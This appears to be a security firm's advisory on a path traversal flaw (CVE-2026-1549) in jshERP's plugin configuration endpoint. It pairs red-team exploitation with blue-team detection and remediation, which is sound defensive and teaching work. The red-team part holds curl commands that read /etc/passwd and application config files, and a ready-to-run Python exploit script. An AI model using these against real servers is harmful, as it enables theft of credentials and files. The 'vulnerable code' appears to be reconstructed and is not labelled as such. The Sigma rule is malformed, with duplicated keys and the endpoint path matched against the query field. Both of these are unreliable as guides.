CVE-2026-1549

Executive Summary

CVE-2026-1549 is a path traversal vulnerability in jishenghua jshERP up to version 3.6. The flaw resides in the PluginController component, specifically within the /jshERP-boot/plugin/uploadPluginConfigFile endpoint. By manipulating the configFile argument, an unauthenticated remote attacker can read arbitrary files from the server's filesystem. The exploit is publicly available, and the vendor has not responded to the issue report. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated file read, which can lead to disclosure of sensitive configuration files, credentials, or source code. While the EPSS score is low, the public availability of the exploit increases the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the PluginController of jshERP. The endpoint /jshERP-boot/plugin/uploadPluginConfigFile accepts a configFile parameter that is used to construct a file path without proper sanitization. An attacker can supply a value like ../../etc/passwd to read files outside the intended directory.

Root Cause: The application fails to validate or sanitize user-supplied input for the configFile parameter, allowing traversal sequences (../) to escape the plugin configuration directory.

Attack Flow:

1. Attacker identifies a jshERP instance (e.g., via Shodan or Google dork).
2. Sends a GET or POST request to /jshERP-boot/plugin/uploadPluginConfigFile?configFile=../../etc/passwd.
3. The server reads the requested file and returns its contents in the response.
4. Attacker can then read other sensitive files (e.g., application properties, database configs, SSH keys).

Impact: Unauthorized read access to any file on the server that the application process has read permissions for. This can lead to full system compromise if credentials or keys are exposed.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP <= 3.6):

// PluginController.java
@RequestMapping("/plugin/uploadPluginConfigFile")
public String uploadPluginConfigFile(@RequestParam("configFile") String configFile) {
    String filePath = "/plugins/config/" + configFile; // No sanitization
    File file = new File(filePath);
    // Read and return file content
    return FileUtils.readFileToString(file, "UTF-8");
}

Patched Code (Hypothetical):

// PluginController.java
@RequestMapping("/plugin/uploadPluginConfigFile")
public String uploadPluginConfigFile(@RequestParam("configFile") String configFile) {
    // Sanitize input: remove path traversal sequences
    String sanitized = configFile.replaceAll("\\.\\./", "").replaceAll("\\.\\.\\\\", "");
    // Ensure file is within allowed directory
    String baseDir = "/plugins/config/";
    String filePath = baseDir + sanitized;
    File file = new File(filePath);
    // Canonical path check
    if (!file.getCanonicalPath().startsWith(new File(baseDir).getCanonicalPath())) {
        throw new SecurityException("Access denied");
    }
    return FileUtils.readFileToString(file, "UTF-8");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running jshERP <= 3.6
• Network access to the /jshERP-boot/plugin/uploadPluginConfigFile endpoint

Exploit Steps:

1. Identify target: https://target.com/jshERP-boot/
2. Read /etc/passwd:

   curl "https://target.com/jshERP-boot/plugin/uploadPluginConfigFile?configFile=../../etc/passwd"
   

3. Read application configuration (e.g., application.properties):

   curl "https://target.com/jshERP-boot/plugin/uploadPluginConfigFile?configFile=../../WEB-INF/classes/application.properties"
   

4. For Windows targets, read C:\Windows\win.ini:

   curl "https://target.com/jshERP-boot/plugin/uploadPluginConfigFile?configFile=..\..\..\Windows\win.ini"
   

Automated Exploit (Python):

import requests
import sys

def exploit(target, file_path):
    url = f"{target}/jshERP-boot/plugin/uploadPluginConfigFile"
    params = {"configFile": file_path}
    response = requests.get(url, params=params, verify=False)
    if response.status_code == 200:
        print(response.text)
    else:
        print(f"Failed: {response.status_code}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_url> <file_path>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Blue Team

Detection:

• Monitor for requests to /jshERP-boot/plugin/uploadPluginConfigFile with parameters containing ../ or ..\.
• Alert on unusual file reads (e.g., /etc/passwd, application.properties, web.xml).

Hunting:

• Search web server logs for uploadPluginConfigFile with configFile parameter containing path traversal patterns.
• Use the Sigma rule below to detect exploitation attempts.

Honeypot:

• Deploy a fake configFile endpoint that logs all requests and returns a decoy file.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /jshERP-boot/plugin/uploadPluginConfigFile with configFile parameter containing ../ or ..\
  • Outbound connections from the server to attacker-controlled IPs (if exfiltration occurs)
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, application.properties, WEB-INF/web.xml
  • Modified or created files in /plugins/config/ directory
• Logs:
  • Web server logs showing 200 responses to path traversal requests
  • Application logs with FileNotFoundException for files outside the plugin directory

Detection Engineering

YARA Rule

rule CVE_2026_1549_PathTraversal {
    meta:
        description = "Detects path traversal attempts in jshERP PluginController"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-1549"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/jshERP-boot/plugin/uploadPluginConfigFile"
        $param = "configFile="
    condition:
        $endpoint and $param and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2026-1549 Path Traversal in jshERP PluginController
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of path traversal vulnerability in jshERP
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1549
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/jshERP-boot/plugin/uploadPluginConfigFile'
        cs-uri-query|contains: 'configFile='
        cs-uri-query|contains|all:
            - '..'
            - '/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1549 jshERP Path Traversal Attempt"; flow:to_server,established; content:"/jshERP-boot/plugin/uploadPluginConfigFile"; http_uri; content:"configFile="; http_uri; pcre:"/\.\.\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, restrict network access to the jshERP application until a patch is applied.
2. Implement WAF rules: Block requests containing ../ or ..\ in the configFile parameter.
3. Disable the endpoint: If the plugin upload functionality is not required, remove or disable the PluginController endpoint.

Long-term Fix:

• Vendor patch: Await an official patch from jishenghua. Since the vendor has not responded, consider forking the project and applying the fix manually.
• Input validation: Sanitize the configFile parameter to remove path traversal sequences and validate that the resolved path is within the intended directory.
• Canonical path check: Use File.getCanonicalPath() to ensure the final path is within the allowed base directory.

Workaround:

• Deploy a reverse proxy (e.g., Nginx) with a rule to reject requests containing ../ in the query string:

  location /jshERP-boot/plugin/uploadPluginConfigFile {
      if ($arg_configFile ~ "\.\.") {
          return 403;
      }
      proxy_pass http://backend;
  }
  

Monitoring:

• Enable detailed logging for the vulnerable endpoint.
• Set up alerts for any path traversal patterns in web logs.

Valters IT